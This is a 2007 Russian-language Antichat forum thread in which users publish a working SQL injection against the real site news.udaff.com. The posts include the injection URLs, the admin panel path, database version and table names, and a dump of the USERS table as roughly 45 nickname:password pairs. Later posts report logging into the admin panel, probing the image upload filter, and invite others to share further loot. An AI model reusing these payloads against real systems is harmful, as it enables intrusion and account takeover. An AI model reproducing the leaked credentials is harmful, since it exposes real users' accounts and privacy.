ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

news.udaff.com
  #1  
Старый 17.01.2007, 18:18
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию news.udaff.com

Код:
скуль
http://news.udaff.com/index.php?cat=korresp&korrname=-1' UNION SELECT 1,2,3/*
Код:
админка
http://news.udaff.com/adm/index.php
Код:
version():5.0.30-Debian_1-log
user():news_udaff_com@devil
database():news_udaff_com

Код:
Все таблицы
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
AUTHORS
COMMENTS
IP_BAN_LIST
NEWS
NICK_BAN_LIST
TEST
USERS
sbmysql
Admins
Articles
Banners
BannersClicks
BannersShows
BlockList
Blog
BoughtContacts
ContactDiscounts
DailyQuotes
FeaturedProfiles
FriendList
GlParams
GlParamsKateg
Guestbook
HotList
IMessages
Links
MemActions
MemActionsTrack
MemLevelActions
MemLevelPrices
MemLevels
Mem_credits
Messages
Modules
Код:
Таблица USERS

Энжынер ИликтраПалафойСвйази:inzzzforever
Джынтельмен удачи:udachi
Ахуефшый Оващ:expenza
Томбеус:samara_rulez
ДОКТОР ЗЛО:vitaleg
Кеды:kedyalex
Кот, каторый патом умир:kotisdead
TheChosen:chosennews
Автобус_мля:alex1980
Polish Torpedo:torpedonews
Микола Питерский:mikolanews
ЛЯПИС:lyapis_news
Dead_Moroz:dead_moroz_news
Гарыныч - трёхгаловый падонак:garynych_news
Викенг:viking_news69
Vint:vintnews
Стоячий корень:koren_news
Дед Крапива:krapiva_news
Хуйивознаетктоблиа:xz_kto_news
Йегор Ильичь:ilyich_news
Фиктор:fiktor_news
асйолл:asioll_news
Мозгун:mozgun_news
Хымек нах:himik_news
Зелёный Кот:green_news
paBLo:pavel_news
Barrett(претт):prettnews
mazahist:maza_news
Хуйфпальто:huinews
Басурманин во как:vokaknews
Растафчанен:rastof_news
Рой Джонс Мл.:roynews
ой Д
Гинирал Власафф:gr_andrey
Евбул:paul_news
Kozlopotam:kozlo_news
Шопесдетс:zhzhun
Козтег:kumar
Чип & Дэйл (б/п):dailchip
Караван:ninez
Лис Биян Песдунофф:skv1000
Наркофон:narkonews
oBrian:brainnews
БИГИМОТ (агромное чиорное кизко):bigkot
Y-jin:kuc2006
Ув. Ктулху:voolkan
Snateiko:snat_nuc



ЗЫ все поддомены на одном серваке...
__________________

Последний раз редактировалось +toxa+; 17.02.2007 в 03:07..
 
Ответить с цитированием

  #2  
Старый 17.02.2007, 01:45
Аватар для ice1k
ice1k
Постоянный
Регистрация: 01.01.2007
Сообщений: 551
Провел на форуме:
4908597

Репутация: 1866


Отправить сообщение для ice1k с помощью ICQ
По умолчанию

Цитата:
Сообщение от +toxa+  
Спустил ещё ниже из-за полного отсутствия интереса=\
омг! Я думал хоть залатали уже =\
 
Ответить с цитированием

  #3  
Старый 17.02.2007, 02:05
Аватар для }{0TT@БЬ)Ч
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме:
3536885

Репутация: 447
По умолчанию

мдя, фильтр на картинки стоит а жаль
 
Ответить с цитированием

  #4  
Старый 17.02.2007, 02:06
Аватар для CBuH
CBuH
Познающий
Регистрация: 25.01.2007
Сообщений: 67
Провел на форуме:
202498

Репутация: 25
Отправить сообщение для CBuH с помощью ICQ
По умолчанию

Чёто не пашет походу залатали
 
Ответить с цитированием

  #5  
Старый 17.02.2007, 03:01
Аватар для +toxa+
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

CBuH
Код:
http://news.udaff.com/index.php?cat=korresp&korrname=-1' UNION SELECT 1,0xcfe0ebe820f4e8f8eaf32c20e3e0ede4eef8e0,3/*
__________________
 
Ответить с цитированием

  #6  
Старый 17.02.2007, 03:05
Аватар для CBuH
CBuH
Познающий
Регистрация: 25.01.2007
Сообщений: 67
Провел на форуме:
202498

Репутация: 25
Отправить сообщение для CBuH с помощью ICQ
По умолчанию

Цитата:
Сообщение от +toxa+  
CBuH
Код:
http://news.udaff.com/index.php?cat=korresp&korrname=-1' UNION SELECT 1,0xcfe0ebe820f4e8f8eaf32c20e3e0ede4eef8e0,3/*
вот теперь пашет спс
 
Ответить с цитированием

  #7  
Старый 17.02.2007, 05:40
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

2+toxa+
Молодец тох
+
 
Ответить с цитированием

  #8  
Старый 18.02.2007, 15:10
Аватар для Driver
Driver
Познающий
Регистрация: 06.07.2006
Сообщений: 87
Провел на форуме:
464777

Репутация: 33
По умолчанию

Очень заинтересовала тема, но к сожалению перспектив в ней очень мало...
По сути до чего ее можно развить? Ну максимум до чего я долез - это вот попал в админку (под админским акком), в которой тоже ничего не сделать, на загрузку картинок фильтр стоит, смена мим типов не помогает... Пароли админов подходят только к сабжевому ресурсу и не более... и т.д. Ну можно разве что все новости и все комменты почистить, только смысла нет...
Если есть желание - делитесь кто чего достал - будем сравнивать и совместными усилиями может чего и добьемся...

Последний раз редактировалось Driver; 18.02.2007 в 17:08..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ